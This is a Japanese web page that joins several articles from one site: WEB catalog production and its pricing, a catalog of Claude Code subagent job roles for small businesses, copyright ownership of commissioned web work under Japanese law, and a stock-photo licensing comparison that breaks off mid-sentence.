付箋とメモは他社にあまり見かけない機能です。ページ数の多い製品カタログを取引先に渡す場合、先方の担当者が検討中のページに印を付けておけるため、社内での回覧に強くなります。 誌面から自社サイトへリンクさせる（クリッカブルエリア） WEBカタログで問い合わせや購入につなげたい場合、効くのは誌面の商品写真や型番から、そのまま商品ページへ飛べるようにすることです。紙のカタログにはできない動きで、多くの制作会社が「リンク設定」としてオプションに置いています。 実装上の注意は、リンク領域の座標を画像に対する比率で持たせることです。ピクセル固定で作ると、スマートフォンで誌面が縮んだときにリンク位置がずれます。当サイトでは、画像の上に矩形・円形の領域を描いてレスポンシブ対応のコードを書き出すクリッカブルエリア ジェネレーターを無料で公開しているので、仕組みを先に確かめておきたい場合はこちらで試せます。 実際のWEBカタログを触ってみる 説明を読むより、一度めくってみた方が早い種類のものです。実際に公開しているWEBカタログを用意しているので、ページの角をドラッグする操作感、サムネイルからの移動、付箋とメモの動きを確かめてみてください。スマートフォンからでも開けます。 WEBカタログのサンプルを開く なお、ページをめくる動きそのものを自分で実装したい場合は、仕組みと実装手順を本のようなページめくりUIを実装する方法で解説しています。制作を依頼するか自作するかを迷っている段階なら、先にそちらを読んでから判断しても構いません。 WEBカタログ制作の費用相場 冒頭で触れた「見積もりの桁が合わない」問題の正体はここにあります。WEBカタログ制作には性質のまったく違う二つの型があり、相場も一桁違います。自社がどちらを必要としているかを先に決めないと、比較そのものが成り立ちません。 PDF変換型カタログ制作型頼むものすでにある誌面のWEBカタログ化企画・原稿・撮影・デザインから作る用意するもの完成したPDF掲載したい商品と伝えたいこと費用感数千円〜十数万円数十万円〜数百万円向いている状況紙のカタログが手元にあるカタログ自体をこれから作る PDF変換型の相場 電子ブック作成サービスを提供するebook5は、制作代行の費用に関する解説のなかで、ページ単価の相場を500円〜2,000円、初期費用を20,000円程度と説明しています。実際に各社が公開している料金は次のとおりです。 サービス基本費用ページ単価16ページの目安ウェブdeカタログなし20ページまで一律5,500円（税込）、21ページ以降110円（税込）5,500円（税込）デジタルベリー10,000円1,500円〜650円（ページ数に応じて逓減）34,000円業界の相場（ebook5の説明）20,000円程度500円〜2,000円28,000円〜52,000円 幅が出る理由は、単価に何が含まれているかが会社ごとに違うためです。目次の設定、リンクの設置、スマートフォン向けの調整が標準に入っているかどうかで、最終的な支払額は変わります。ページ単価だけを並べても比較にならないので、オプションを足した総額で見てください。 オプションで加算されやすい項目 基本費用とページ単価だけを見て発注すると、あとから加算される項目があります。各社がオプションとして用意しているのは、おおむね次のようなものです。自社に必要なものを先に決めてから見積もりを依頼すると、比較が一度で済みます。 リンク設定 — 誌面の商品や広告から自社サイトへ飛ばす ツリー式の目次 — 章立ての深いカタログを階層で辿れるようにする 全文検索 — 誌面内の文字を検索して該当ページへ飛ぶ 外国語版 — 操作パネルの表記を英語などに切り替える 動画・音声の挿入 — 誌面に動画を埋め込んで再生させる SNS共有 — 閲覧中のページを共有できるようにする Webページへの埋め込み — 自社サイトのページ内に組み込んで表示する パスワード保護 — 取引先限定の資料として閲覧を制限する アクセス解析レポート — どのページが読まれたかを定期的に報告する このうちパスワード保護は、取引先向けの価格表や仕様書をWEBカタログ化する場合に必須になります。検索エンジンに拾われて価格が公になると困る資料は、URLを知られたら誰でも読める状態にしないでください。 カタログ制作型の相場 掲載する商品は決まっているが誌面がまだない、という段階なら、企画から請け負う会社に頼むことになります。カタログパートナーが公開している参考価格では、4ページで176,000円（税込）から、16ページで710,000円（税込）から、100ページで4,190,000円（税込）からとされています。納期も4ページで2週間、100ページで3か月と、PDF変換型とはまったく別のスケジュールです。 この価格差は、コピーライティングや写真撮影といった誌面を作る工程そのものの費用です。すでに印刷用のPDFがあるのなら、この工程は不要なので、PDF変換型で見積もりを取ってください。 WEBカタログ制作の料金 ここからは、当サイトの運営元であるRINIAのWEBカタログ制作（PDF変換型）の料金です。制作費は「基本設定費用」と「ページ変換費用」の合計で決まります。金額はすべて税別です。 基本設定費用 ビューアの設置と初期設定にかかる費用で、1冊あたり10,000円です。2冊目以降も同額です。 ページ変換費用 ページ数が増えるほど1ページあたりの単価が下がります。テキスト目次の設定費用もこの価格に含まれます（100ページ未満は10項目まで、100ページ以上は20項目まで）。 ページ数ページ単価（税別）1〜16ページ1,500円17〜24ページ1,400円25〜32ページ1,300円33〜48ページ1,200円49〜64ページ1,100円65〜80ページ1,000円81〜100ページ900円101〜150ページ800円151〜200ページ750円201〜250ページ700円251〜300ページ650円301ページ以上お問い合わせください 計算例 16ページのカタログをWEBカタログ化する場合の計算は次のようになります。 内訳計算金額（税別）基本設定費用—10,000円ページ変換費用1,500円 × 16ページ24,000円合計34,000円 48ページなら10,000円＋1,200円×48ページで67,600円、100ページなら10,000円＋900円×100ページで100,000円が目安です。オプション（クリッカブルエリアの設置、ビューアのデザイン変更、外国語版の作成など）をご希望の場合は、内容に応じて別途お見積もりします。 WEBカタログの無料見積もりを依頼する → RINIA 公開後の運用方法は2通りから選ぶ WEBカタログは作って終わりではなく、公開し続けるためのサーバーが必要です。 ### [AI社員の職種一覧｜1人会社が実際に配属できる仕事とその境界](https://codequest.work/ai-staff-roles-catalog/) AI社員とは、Claude Code のサブエージェント機能を使って、業務ごとに専任のAIを定義し、その仕事だけを任せる運用のことです。定義に必要なのは Markdown ファイル 1 枚で、必須の項目は名前と「いつ呼ぶか」の説明の 2 つだけです。人を雇うのとは違い、増やすこと自体にはほとんどコストがかかりません。 だからこそ困るのが「で、何を配属できるのか」です。作り方の解説は増えましたが、実務のどの仕事が専任AIの担当になり得るのかを並べた一覧は見当たりません。結果として、思いついた役割から手当たり次第に定義して、一度も呼ばないファイルだけが増えていきます。 この記事は、1 人会社や小規模事業者が実際に配属できる職種のカタログです。調査・検証・制作・運用・分析の 5 系統に分けて担当業務と判定基準を並べ、あわせて任せない方がいい仕事の境界と、増やしすぎたときに何が起きるかまでを扱います。仕様は Anthropic 公式ドキュメントを 2026 年 9 月 7 日に確認したもの、数値は Anthropic の Economic Index レポートほかの一次資料から取得しました。なお、どの順序で着手するかは 配属の順序を扱った記事 で別に整理しています。 AI社員とは何か — 定義ファイル 1 枚で成立する ここで言うAI社員は、Claude Code のサブエージェントを業務単位で切り出したものを指します。Anthropic の公式ドキュメント「Create custom subagents」によると、定義ファイルは YAML のフロントマターと Markdown 本文（＝そのAIへのシステムプロンプト）で構成され、置き場所によって適用範囲が変わります。 置き場所適用範囲使い分け.claude/agents/そのプロジェクトだけ案件固有の担当（この案件の表記ルール確認など）~/.claude/agents/自分の全プロジェクト事業として常設したい担当 公式ドキュメントは「必須なのは name と description だけ」と明記しています。tools（使える道具の限定）、model（担当ごとのモデル指定）、mcpServers（その担当専用の外部接続）などは任意です。つまり、最初の 1 人は「名前」と「いつ呼ぶか」を書けば成立します。 もう 1 つ実務で効く仕様があります。ディレクトリは再帰的に読まれ、識別に使われるのは name だけです。フォルダを部署のように分けても、それは人間が探しやすくなるだけで、呼び出しの単位は変わりません。 自分で作る前に、最初から居る担当を把握する 公式ドキュメントには組み込みのサブエージェントが用意されています。自作する前にこれで足りないかを確かめると、定義ファイルが 1 枚減ります。 名称役目制約Explore読み取り専用の高速な調べもの書き込み・編集は拒否されるPlanplan モードでの下調べ書き込み・編集は拒否されるGeneral-purpose調べものと変更が混ざる複合タスクとくになし このほかに claude（どの専門担当にも当てはまらないときの受け皿）、statusline-setup、claude-code-guide があります。なお Explore と Plan の 2 つだけは、プロジェクトの指示ファイルと Git の状態を読み飛ばす仕様です。これを変える設定は用意されていないため、案件固有のルールを守らせたい仕事は自作の担当に振ることになります。 配属できる職種のカタログ Web 制作・メディア運営を主業とする 1 人会社を前提に、専任AIとして切り出せる職種を並べます。「委譲の型」は次章で説明する判定軸、「必要な外部接続」は MCP サーバーの接続が要るかどうかです。 系統職種担当業務委譲の型必要な外部接続調査記事監査担当既存記事を全件スキャンし、重複と抜けを判定する大量読み込み検索コンソール調査出典裏取り担当一次ソースの収集、発行日の検証、引用台帳の作成大量読み込み—調査改修範囲の洗い出し担当既存サイトの改修で影響が及ぶ箇所を特定する大量読み込み—調査競合調査担当競合の仕様・価格・訴求を一覧化する大量読み込み—検証公開前検証担当書式・構造化データ・表記ルールの整合を確認する独立検証—検証リリース前のバグ検出担当変更差分から不具合と考慮漏れを指摘する独立検証—検証表示崩れ検査担当実ブラウザで横スクロールや崩れを実測する独立検証ブラウザ操作検証規約・表記チェック担当広告表記・ライセンス・利用規約の適合を確認する独立検証—制作下書き執筆担当型が確定した原稿の初稿を書く並列バッチ—制作定型ページの量産担当テンプレート確定後のページをまとめて作る並列バッチCMS制作図解・バナー生成担当規格が決まった画像を生成する並列バッチデザインツール運用問い合わせ一次対応担当定型質問への回答を下書きする並列バッチ—運用請求・見積の下書き担当定型書類の初稿を作る並列バッチ—分析アクセス解析担当数値を抽出し、異常値と変化を指摘する大量読み込み解析ツール この表は候補の辞書であって、組み立てるべき体制図ではありません。上から順に全部作ると、次章以降で説明する失敗の型にそのまま入ります。使い方としては、自分がいま時間を取られている業務を 1 つ選び、それに対応する行だけを見る、が正解です。 外部接続が要る職種は、先に接続の可否を確かめてください。接続手段の全体像は Claude Code の MCP 連携ガイド一覧 に、自前の接続を作る手順は MCP サーバーの作り方 にまとめてあります。 調査系の職種 — 読む量が多い仕事を渡す 調査系は、専任AIに渡す価値がもっとも分かりやすい系統です。公式ドキュメントによると、サブエージェントはそれぞれ独立した新しいコンテキストで起動し、こちらの会話履歴も読んだファイルも引き継ぎません。大量に読ませても本体の会話が汚れないため、読む量に比例して分離の利点が出ます。 記事監査担当 新しい記事を書く前に、既存の全記事を走査して「同じことを既に書いていないか」「どの記事と読者を取り合うか」を判定させる担当です。合格基準は明確に書けます。走査した記事数を実数で報告すること、重複ありと判定した記事は該当箇所を引用すること、判定は 1 つに確定することの 3 点です。数を数える仕事なので、判定の正しさを人間が後から検算できます。 出典裏取り担当 本文に書く数値の出どころを、一次資料まで遡って確かめる担当です。合格基準は「URL・発行日・確認日時が揃っていること」「一次か二次かが明記されていること」。まとめ記事の孤立した数値をそのまま持ってきていないかは、報告の URL を見れば判定できます。発行日が古い資料に「古い」とラベルを付けさせておくと、記事の陳腐化にも気づけます。 改修範囲の洗い出し担当 既存サイトに手を入れるとき、その変更がどこまで波及するかを先に洗い出す担当です。テンプレートの継承、共通パーツの参照、CSS の依存など、1 か所直したつもりが別ページで崩れる箇所を潰します。合格基準は「ファイル名と行番号まで示すこと」「見つからなかった場合も探した範囲を報告すること」。組み込みの Explore で足りることが多い職種なので、自作する前に一度試してください。 競合調査担当 競合サービスの機能・価格・訴求を横並びの表にする担当です。提案書や比較記事の下ごしらえに向きます。ここでの合格基準は「取得日を明記すること」「公式サイトの記載のみを根拠にすること」。価格は変わるため、日付のない比較表は数か月で使えなくなります。推測で埋めさせないことが品質のすべてです。 検証・監査系の職種 — 自分の見落としを拾わせる 検証系は、成果物を作った本人とは別のコンテキストで見直させることに意味があります。作った経緯を知らない状態で読むので、書いた側が「言わなくても分かる」と省略した部分が引っかかります。1 人で仕事をしているほど価値が出る系統です。 公開前検証担当 公開直前に、書式・構造化データ・表記の統一を機械的に確認する担当です。この職種は検出と報告だけを担当させ、修正はさせないのが要点になります。検出と修正を同じ担当に持たせると、都合の悪い指摘を自分で消してしまい、何を見落としたのかが記録に残りません。合格基準は「指摘ごとに該当箇所を引用すること」「問題なしの項目も一覧に出すこと」です。 リリース前のバグ検出担当 変更差分だけを渡して、不具合と考慮漏れを指摘させる担当です。差分に限定するのが肝で、リポジトリ全体を読ませると指摘が散って使いものになりません。合格基準は「どんな入力でどう壊れるかを具体的に書くこと」。再現条件を書けない指摘は推測なので、この 1 条件を課すだけで報告の精度が上がります。 表示崩れ検査担当 実際のブラウザでページを開き、横スクロールの発生や要素のはみ出しを実測する担当です。ブラウザ操作の外部接続が要ります。この職種の合格基準は「実測値を数字で出すこと」に尽きます。「問題ないと思われます」で終わる報告は通さず、ビューポート幅と実際の文書幅を出させてください。目視の印象を報告させると、検査の意味がなくなります。 規約・表記チェック担当 広告表記の有無、素材のライセンス条件、他社ロゴの使用可否といった、抜けると後から効いてくる項目を確認する担当です。判断の根拠となる規約は変わるため、規約本文の該当箇所を引用させ、確認日を残させるのが実務上の合格基準になります。ここも検出専任にして、最終判断は人間が持ってください。 制作系の職種 — 型が決まってから渡す 制作系は、任せられる範囲が最初から決まっている系統です。型が固まる前に渡すと、戻ってきたものを直す時間の方が長くなります。逆に型さえ確定していれば、同じ形のものを並行して作らせる使い方がはまります。 下書き執筆担当 構成と論点が決まった原稿の初稿を書かせる担当です。ゼロから企画させるのではなく、見出しと各節で言うべきことを先に人間が決めてから渡します。合格基準は「指定した見出し構成から逸れないこと」「数値には出典を付けること」。出典なしの数値が 1 つでもあれば差し戻す運用にすると、事実確認の手戻りが激減します。 定型ページの量産担当 テンプレートが確定したページを、内容を差し替えながらまとめて作る担当です。サービス紹介、料金プラン、事例紹介のように構造が同じページに向きます。CMS への接続を持たせると投稿まで一気に進みますが、公開状態は下書きで止めさせるのが安全です。公開の判断は最後まで人間に残してください。 図解・バナー生成担当 サイズ・配色・書体の規格が決まっている画像を生成する担当です。規格書がない状態で任せると、毎回違うトーンのものが出てきて選定に時間を取られます。先に規格を 1 枚の文書にしてから配属するのが前提条件で、これが書けないうちは配属を見送る判断になります。 運用・分析系の職種 — 下書きまでを任せる 運用・分析系は、外に出るもの・意思決定に使うものを扱うため、任せる範囲を「下書きまで」で切るのが基本です。Anthropic の実測でも、仕事の場面で実際に生み出されている成果物の上位には下書き類が並びます。 問い合わせ一次対応担当 よくある質問への回答を下書きさせる担当です。Anthropic の Economic Index レポート「Cadences」（2026 年 6 月 26 日）によると、仕事目的の会話で生まれる成果物のうちメールの下書きは 7% を占めており、実際に多くの人が任せている領域です。合格基準は「既存の回答テンプレートにない内容を創作しないこと」「分からない質問は分からないと返すこと」。送信は人間が行います。 請求・見積の下書き担当 過去の書類を参照しながら、項目立てと文言を整えた初稿を作らせる担当です。 ### [制作物の著作権は誰のものか｜納品後にもめないための取り決め](https://codequest.work/web-production-copyright-ownership/) 制作物の著作権は、契約で別段の定めをしない限り、実際にそれを作った側に発生します。発注して費用を払っただけでは移りません。著作権法は著作者を「著作物を創作する者」と定め（第 2 条第 1 項第 2 号）、その権利の享有には「いかなる方式の履行をも要しない」としています（第 17 条第 2 項）。つまり権利は、契約書に何か書いてはじめて動きます。 ここで多いのが、「著作権は甲に帰属する」の一文で安心してしまうケースです。この書き方では、作り替える権利（第 27 条）と、作り替えたものを使う権利（第 28 条）が移らないと推定されます。納品から半年後、別の会社にリニューアルを頼もうとした段階で問題が表面化する——という順番でもめます。 この記事では、発注する側と受ける側の双方から、権利がどこにあり、契約書に何を書けば動くのかを整理します。根拠は著作権法の条文、文化庁「令和 8 年度著作権テキスト」、公正取引委員会ほかが 2026 年 6 月 24 日に公表した知的財産権の取引指針です。条文・金額はすべて 2026 年 9 月 4 日に一次資料から取得しました。素材そのものの許諾範囲は 商用利用できる素材の選び方 で別に扱っています。 契約がなければ、著作権は作った側にある 著作権は登録も表示も必要とせず、創作した瞬間に創作した人に発生します。これを無方式主義といいます。発注書を出しても、見積書を承認しても、それだけでは権利は動きません。公正取引委員会・中小企業庁・特許庁が 2026 年 6 月 24 日に公表した「知的財産権・ノウハウ・データの適切な取引のための優越的地位の濫用等に関する指針」も、「受注者が創作した著作物の著作権は著作権法に基づきその帰属先が定まる」と明記しています。 「お金を払ったのだから発注者のもの」が成り立たない理由 制作費の支払いは、契約に書かれた範囲の対価です。何の対価なのかを契約書が決めていなければ、それは「作って納めてもらうこと」の対価であって、「権利を買い取ること」の対価にはなりません。ここを取り違えると、発注者は自分のものだと思い、制作者は貸しているつもりでいる、という食い違いが生まれます。 実務では、権利の動かし方は 2 通りしかありません。譲渡（権利者そのものを変える）か、利用許諾（作った側に権利を残したまま、使ってよい範囲を決める）です。どちらでも運用できますが、どちらなのかを書いていない契約書がいちばん危険です。 譲渡利用許諾（ライセンス）権利者発注者に移る制作者のまま発注者ができること契約で移した範囲すべて許諾された範囲だけ制作者ができること移した範囲は使えなくなる他案件への転用も原則できる価格高くなりやすい抑えやすい向く場面ブランドの中核、ロゴ、独占したい資産汎用パーツ、テンプレート的な制作物 法人著作（第 15 条）は外部への発注には原則として及ばない 「会社が作らせたものは会社のものになる規定があるはずだ」と言われることがあります。それが法人著作（職務著作）です。ただし対象は限定されています。文化庁「令和 8 年度著作権テキスト」（8〜9 頁）によれば、成立するのは法人等が企画を立て、その「業務に従事する者」が職務上創作し、法人等の名義で公表され、契約や就業規則に別段の定めがない、という要件をすべて満たす場合です。 作った人法人著作の射程権利を動かす方法自社の従業員要件を満たせば会社が著作者就業規則・職務発明規程などで整理制作会社・フリーランス原則として及ばない譲渡または利用許諾を契約で定める制作会社がさらに再委託した相手及ばない再委託先からの権利処理も必要 3 行目を見落とす現場が多いところです。発注先の制作会社と譲渡契約を結んでいても、その会社が外部のイラストレーターに描かせた素材の権利まで自動的に付いてくるとは限りません。再委託先からの権利処理ができているかを、発注側から確認しておくのが安全です。 なお「業務に従事する者」にあたるかどうかは、雇用契約の有無だけで決まるものではなく、指揮監督の実態などから個別に判断されます。常駐している業務委託者のようなケースを、この記事の一行で断定することはできません。 「著作権は甲に帰属する」だけでは移らない権利がある この記事でいちばん実害が出やすいのがここです。著作権法第 61 条第 2 項は、「著作権を譲渡する契約において、第 27 条又は第 28 条に規定する権利が譲渡の目的として特掲されていないときは、これらの権利は、譲渡した者に留保されたものと推定する」と定めています。 条文内容Web 制作で効いてくる場面第 27 条翻訳・編曲・変形・翻案する権利デザインの作り替え、別ブランドへの展開、コードの改修第 28 条二次的著作物の利用に関する原著作者の権利作り替えたあとのサイトを公開・運用し続けること つまり「著作権は甲に帰属する」とだけ書いた契約では、納品物を改変する権利と、改変したものを使う権利が制作者側に残っていると推定されます。リニューアル、レスポンシブ対応の作り直し、別サービスへの流用——Web 制作で後から必ず発生する作業が、そこに引っかかります。 文化庁が示している書き方 解決策は難しくありません。文化庁「令和 8 年度著作権テキスト」（51 頁）は、「すべての著作権（著作権法第 27 条及び第 28 条の権利を含む）を譲渡する」と契約書に記載しておく必要がある、としています。この一文が入っているかどうかを見るだけで、契約書の点検はかなり進みます。 ひとつ注意しておきます。第 61 条第 2 項は「留保されたものと推定する」という書き方です。推定であって、覆せない決めつけではありません。契約全体の趣旨から別の結論になる余地は残ります。それでも、推定を覆すために交渉や立証を要する状態をわざわざ作る理由はないので、特掲しておくのが実務です。 そもそも譲渡できない権利がある 著作権法第 59 条は「著作者人格権は、著作者の一身に専属し、譲渡することができない」と定めています。「すべての権利を譲渡する」と書いても、この部分は動きません。契約書の「一切の権利を甲に譲渡する」という文言を、文字どおりに受け取ることはできないということです。 公表権 — まだ公表していない作品を、いつどう公表するかを決める 氏名表示権 — 作者名を出すか、出すならどう表示するかを決める 同一性保持権 — 意に反して改変されない Web 制作で問題になりやすいのは同一性保持権です。納品後にクライアント側で色を変え、写真を差し替え、レイアウトを崩して運用する——これが「意に反する改変」にあたると主張される余地が残ります。そこで実務上よく使われるのが、次の不行使特約です。 「著作者人格権を行使しない」条項をどう見るか この条項の有効性そのものを断定する公的な資料は見当たりません。一方で、公的資料が注意を促している事実ははっきりしています。文化庁「令和 8 年度著作権テキスト」（51 頁）は、著作者人格権の不行使を規定する例について、「著作者としては、依頼者が著作物を改変、修正した場合や著作者の氏名を表示しなかった場合でも異議を述べることができないといった不利益が生じるため注意が必要です」と述べています。 さらに前述の知的財産権の取引指針は、不行使条項について、相応な対価の支払いや権利ごとの個別の定めを協議せずにひな形を押しつける場合は「一方的な設定と評価され得る」とし、優越的地位の濫用として問題となるおそれがあるとしています。 整理すると、不行使特約は「無効だから無視してよい」ものではなく、入れ方によっては独占禁止法やフリーランス法の側で問題になり得るものです。発注側は協議と対価をセットにする、制作側は改変の範囲（デザインの色調整は可・構造の作り替えは要相談、など）を具体的に書く。この二方向で扱うのが現実的です。 無償で譲渡させることには、公的な線引きがある 「権利は全部こちらに渡してもらう。金額は据え置きで」と言われたとき、受ける側が持ち出せる根拠が 2026 年に更新されています。前述の知的財産権の取引指針（令和 8 年 6 月 24 日）が、Web 制作を含む業種の実例つきで整理しました。 言われがちな要求公的資料での位置づけ著作権を無償で譲渡してほしい正当な理由なく要請し、受注者が今後の取引への影響を懸念して受け入れざるを得ない場合、優越的地位の濫用（独占禁止法第 2 条第 9 項第 5 号）として問題となるおそれ「著作権は甲に帰属する」条項だけ入れて対価は据え置き帰属条項の設定として指針が個別に項目を立てている著作者人格権は行使しないと書いてほしい協議・対価なしの一方的な設定と評価され得るワイヤーフレームや構成案も全部提出してほしい中間成果物等の譲渡要請として指針が項目を立てている フリーランス法では「書いていない譲渡」が問題になる 2024 年 11 月 1 日に施行されたフリーランス法（特定受託事業者に係る取引の適正化等に関する法律）にも、権利の話が入ってきます。ただし条文の明示義務そのものに「知的財産権」という項目があるわけではありません。効いてくるのは、公正取引委員会・厚生労働省が示した法律の「考え方」（令和 6 年 5 月 31 日、令和 7 年 10 月 1 日改正）という行政解釈のほうです。 業務委託の目的たる使用の範囲を超えて権利を譲渡・許諾させる場合、発注者は第 3 条の通知の「給付の内容」の一部としてその範囲を明確に記載する必要がある その譲渡・許諾に係る対価を報酬に加える必要がある 記載しないまま無償で範囲を超えて譲渡・許諾させることは、不当な経済上の利益の提供要請（第 5 条第 2 項第 1 号）に該当する具体例として挙げられている 発注側の実務としては、権利を広く取りにいくなら、その分を発注書と金額に書く。これだけで大半は片づきます。逆に言えば、書かずに広く取ろうとする形が、いちばん指摘を受けやすい形です。副業で受ける側の契約まわりは 副業で Web 制作を受けるときの時間と体制 でも触れています。 納品後、発注者はどこまで使えるのか 発注側の視点で、やりたいことごとに何が必要かを並べます。判断の軸は「譲渡を受けているか」「その譲渡に第 27 条・第 28 条が特掲されているか」「素材や第三者の権利が混ざっていないか」の 3 つです。 やりたいこと必要になるもの納品されたまま公開・運用する譲渡または利用許諾。通常はここで足りる別の会社にリニューアルを頼む第 27 条・第 28 条を特掲した譲渡、または改変を含む許諾デザインを別サービスやチラシに転用する同上。加えて使用媒体が許諾範囲に入っているかグループ会社や事業譲渡先に引き継ぐ譲渡していること。許諾の場合は再許諾の可否制作物に使われた写真・イラストを他でも使う素材そのものの許諾範囲（制作会社との契約とは別レイヤー）他社のマークやバッジを含む画面を配布する各ブランドのガイドライン（著作権とは別の話） 下 2 行は、制作会社との契約をどれだけ整えても解決しない領域です。素材については 商用利用できる素材の選び方 を、他社のマークについては 他社のマークを自社サイトに載せる前に読むガイドライン を、それぞれ別に確認してください。 納品時の確認は、権利だけでなく実装の側にもあります。何を見て受け取るかは 納品前に SEO 設定を自分で検証する手順 にまとめています。 制作実績として公開してよいか 受ける側でいちばん多い不安がこれです。ここで押さえておきたいのは、制作実績の公開は著作権だけでは決まらないということです。権利を全部譲渡していても実績として出せる場合がありますし、逆に権利が自分に残っていても守秘義務で出せない場合があります。 ### [商用利用できる素材の選び方｜無料と有料でライセンスはどう違うのか](https://codequest.work/stock-photo-commercial-use-license/) 素材が商用利用できるかどうかは、料金の有無ではなく、使用許諾（ライセンス）がどこまでを認めているかで決まります。無料の素材でも、写っている人や商標までは許諾に含まれていないことがあります。逆に有料の素材でも、グッズにして売るには追加のライセンスが必要です。「無料か有料か」は判断材料になりません。 制作の現場でいちばん多いのは、「フリー素材と書いてあったから使った」という判断です。しかしこれは、料金表を見ただけで契約書を読んでいないのと同じ状態です。政府広報オンラインは 2026 年 1 月 27 日の記事で、フリー素材サイトで見つけた画像をアイコンに使う例を挙げ、「これらはいずれも著作権侵害に当たる可能性があります」と書いています。 この記事では、無料サービスと有料サービスの利用規約を実際に突き合わせて、どこまでが許諾に入っていて、どこから外れるのかを整理します。掲載した条文と金額は、すべて 2026 年 9 月 4 日に各社の公式ページから取得したものです。規約は改定されるので、判断の前に必ず出典先の更新日を確認してください。 「無料」が指しているのは料金だけで、権利ではない 無料素材サービスの規約を読むと、「無料」が免除しているのは対価の支払いだけだと分かります。権利の処理は利用者側に残ります。主要 4 サービスの規約から、制限にあたる部分を並べます。 項目写真ACUnsplashPixabayいらすとや規約の日付2026-08-21 改訂表記なし2024-11-18表記なし商用利用可（会員登録が必要）可可可クレジット表記不要不要不要不要グッズ化して売る不可不可不可不可商標としての使用不可許諾に含まれない不可記載なし点数の制限無料会員は 1 日 10 点記載なし大量取得は不可21 点以上の商用は有償AI の学習利用禁止禁止運営側が学習に使用記載なし 4 サービスすべてに共通しているのは、素材そのものを主役にした商品を作って売ることはできないという点です。写真ACは「写真、または加工した写真データ（二次的著作物を含みます）を主要コンテンツとして、製品に使用すること（カレンダー、ジグソーパズルなどを指しますが、これに限りません）」を禁止事項に挙げています。Unsplash License も "Images cannot be sold without significant modification."（画像は大幅な改変なしに販売できません）と書いています。 見落とされやすいのは、写っている人と写っているモノ ここが実務でいちばん危ない箇所です。素材サービスが与えているのはその素材ファイルを使う許諾であって、そこに写り込んでいる人や商標を使う許諾ではありません。両者は別の権利です。 写真ACは利用規約で「弊社では、特定できる人物を含む写真ごとに書面によるモデルリリース（肖像権使用許諾書）を義務付けていません。」と明記し、さらに「弊社は、前述の権利等を所有またはライセンス供与するという表明・保証をせず、これらの付与もしません。」と続けています。つまり肖像権が処理済みである保証は、規約上どこにもありません。 Unsplash も同じ構造です。利用規約の第 5 条は「Unsplashライセンスには、以下に関する使用権は含まれません」として、「本画像に写っている商標、ロゴ、またはブランド」「本画像の中の（認識できる）人物」を挙げています。クレジット表記が不要で商用利用も自由、という前段だけを読むと見落とします。 なお、素材に写り込んでいるのではなく、企業のマークそのものを掲載したい場合は、素材サービスの規約ではなくその企業が出しているブランドガイドラインが判断基準になります。こちらは別のルール体系なので、各社のブランドガイドラインの読み方 にまとめてあります。 有料なら自由に使えるわけでもない お金を払えば何でもできる、というわけではありません。有料サービスのライセンスは段階に分かれていて、標準の段階ではグッズ化して売ることが禁止されています。Adobe Stock を例にすると、段階は 2 つではなく 3 つあります。 ライセンス50 万部を超える印刷・表示グッズ化して売る通常ライセンス不可不可強化ライセンス可（上限なし）不可拡張ライセンス可可 「標準か拡張か」の 2 択で考えると間違えます。間に強化ライセンスがあり、これは部数の上限を外すだけで、グッズ化の許諾は含みません。大量に刷りたいのか、売り物にしたいのかで、必要なものが変わります。 通常ライセンスでできることの範囲は、Adobe Stock のライセンス情報に具体的に書かれています。Web とソーシャルメディアへの投稿は「閲覧制限なく」可能で、表示回数の上限はありません。印刷物は「500,000 部を超えて印刷することはできず、販売するアイテムに画像を使用することはできません」となります。禁止事項の側には「素材自体が主な購入目的となる商品、テンプレート、そのほかの製品を再販または配布目的で作成する」が並びます。 有料サービス 3 社を同じ軸で並べる 項目Adobe StockPIXTAShutterstock規約の日付表記なし2025-04-22 改定表記なし標準でグッズ化不可（拡張が必要）不可（定額制は拡張不可）不可（Enhanced が必要）商標としての使用公開規約に記載なし明文で禁止明文で禁止クレジット表記不要（エディトリアルは必要）原則不要（映像配信は条件付き）不要部数の上限50 万部30 万部で拡張が必要規約参照違反時の定め—素材 1 点につき 10 万円— 表で目立つのは 2 か所です。ひとつは PIXTA の違約金で、利用規約の第 18 条に「違反行為に該当する素材1点につき10万円を違約金として支払うものとします」と金額が明記されています。もうひとつは Adobe Stock の商標欄で、PIXTA と Shutterstock が明文で禁止しているのに対し、Adobe の公開ライセンスページには可否の記述が見つかりませんでした。書いていないことを「できる」と読むのは危険なので、商標に使う予定があるなら事前に問い合わせるのが確実です。 Adobe Stock の料金と、契約前に知っておく制約 以下は 2026 年 9 月 4 日に Adobe Stock の料金プランページで確認した個人向けの表示です。同じプランでも支払い方式によって金額が変わるため、方式を分けて載せます。 プラン年間プラン（月々払い）月々払い月あたりの点数10 ストッククレジット / 月3,828 円6,578 円画像など 10 点 / ビデオ 1 点10 クレジット（AI Studio 付き）5,280 円8,030 円上記 + 生成 4,000 クレジット40 クレジット（AI Studio 付き）11,880 円14,960 円画像など 40 点 / ビデオ 6 点無制限（AI Studio 付き）17,380 円表示なし無制限 + 生成 10,000 クレジット ひとつ補足があります。この料金ページには「税込」「税別」の表記がありません（2026 年 9 月 4 日時点でページ内を検索して確認）。なお国税庁は総額表示について「事業者が消費者に対してあらかじめ価格を表示する場合に、消費税額（地方消費税額を含む。）を含めた価格（税込価格）を表示することを義務付けるものです」と説明しています。表記がない以上こちらで断定はできないので、確定した金額は購入手続きの画面で確認してください。 申し込む前に知っておく 3 つの制約 年間プランの中途解約には手数料がある — 「14 日を過ぎた時点で解約すると、残存する年間契約金額の半額の手数料が発生します」 日本のクレジットパックは 6 か月で失効する — 「日本国内にお住まいの場合、未使用クレジットは購入日から 6 か月後に自動的に失効します」。⚠️ 同じページのスライダー下には「クレジットは購入後 1 年間有効です。」という記載もあり、公式ページ内で食い違っています 無制限プランは解約すると使えなくなる素材がある — 「未使用のダウンロード済みアセットをプラン終了後に使用することはできません」 3 つ目は、ライセンス情報ページにある「世界各国での利用を対象にした Adobe Stock の永続的ライセンス」という記述と、一見ぶつかります。整合的に読むなら、永続的に使えるのは実際にプロジェクトで使った素材で、ダウンロードしただけで寝かせていたものは対象外ということになります。「解約してもずっと使える」と単純に理解していると、無制限プランでつまずきます。 従量制（クレジット制）のほうは素直で、ライセンスを取得した素材は解約後も使い続けられます。失効するのは未使用のクレジットです。まず必要な点数だけ確保したいなら、現在のプランと必要なクレジット数を照らし合わせてから決めるのが安全です。 補償はどこまで守ってくれるのか 有料サービスを選ぶ理由として「権利侵害を主張されたときに守ってくれる」という点が挙がります。Adobe Stock の料金ページにも、各プランに「アドビによる補償: Adobe Stock ライセンスの保護 Up to 